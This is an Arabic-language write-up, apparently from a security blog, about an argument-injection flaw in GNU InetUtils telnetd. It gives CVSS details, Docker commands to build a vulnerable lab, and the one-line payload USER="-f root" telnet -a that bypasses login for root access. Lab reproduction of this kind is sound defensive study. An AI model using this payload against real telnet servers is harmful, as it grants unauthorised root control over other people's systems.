
ثغرة أمنية في GNU InetUtils telnetd تتيح الوصول الجذري عن بُعد
ثغرة حقن وسائط تم اكتشافها مؤخرًا في GNU InetUtils telnetd تسمح للمهاجمين بتجاوز المصادقة عن طريق تعيين متغير البيئة USER إلى القيمة “-f root”. ونتيجة لذلك، يمكن لمهاجم بعيد غير مصادق الوصول إلى الأنظمة التي تعمل بخدمة telnetd الضعيفة ورفع الامتيازات إلى root. إذا تم استغلال هذه الثغرة بنجاح، فقد تمكن المهاجمين من الوصول إلى معلومات حساسة، وتغيير إعدادات النظام، وتنفيذ أوامر عشوائية، مما قد يؤدي إلى اختراق كامل للنظام.
| تفاصيل CVSS | CNA (MITRE) |
|---|
| الدرجة الأساسية | 9.8 |
| المتجه | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| متجه الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| الامتيازات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| النطاق | غير متغير |
| تأثير السرية | عالي |
| تأثير التكامل | عالي |
| تأثير التوفر | عالي |
| إصدار CVSSv3 | 3.1 |
تمكنا من الوصول إلى الالتزام أدناه من عام 2015 والذي يُظهر تغيير الكود (السطر 62) الذي أنشأ هذه الثغرة.
الغرض من هذا الملف هو فقط إظهار تنفيذ الاستغلال، وليس كل خطوة أنتجت هذا CVE، ومع ذلك، فإن الهدف هو استبدال العنصر النائب %U بالقيمة المأخوذة من متغير البيئة USER. هذا المتغير البيئي الخاص يتحكم فيه المستخدم ويمكن التلاعب به عبر بروتوكول Telnet 🔥 .
لهذا الاختبار، أنشأت حاويتين باستخدام صور من Docker Hub، مع إصدار ضعيف من InetUtils.
docker run --rm -it --name vuln -p 23:23 ubuntu:22.04 bash
apt update
apt install build-essential wget tar
wget http://ftp.gnu.org/gnu/inetutils/inetutils-2.5.tar.gz
tar -xvzf inetutils-2.5.tar.gz
cd inetutils-2.5
./configure
./configure --enable-telnet
make clean
make
make install
export PATH=$PATH:/usr/local/libexec
apt install openbsd-inetd
echo "telnet stream tcp nowait root /usr/local/libexec/telnetd telnetd" >> /etc/inetd.conf
service openbsd-inetd restart
docker run --rm -it --name attacker ubuntu bash
apt install telnet
باستخدام الحمولة أدناه، نستبدل متغير USER ونتجاوز نظام المصادقة.
USER="-f root" telnet -a 172.17.0.3
تحقق من إصدار inetutils الخاص بك
hostname --version
telnetd --version
نراكم في المرة القادمة :wink: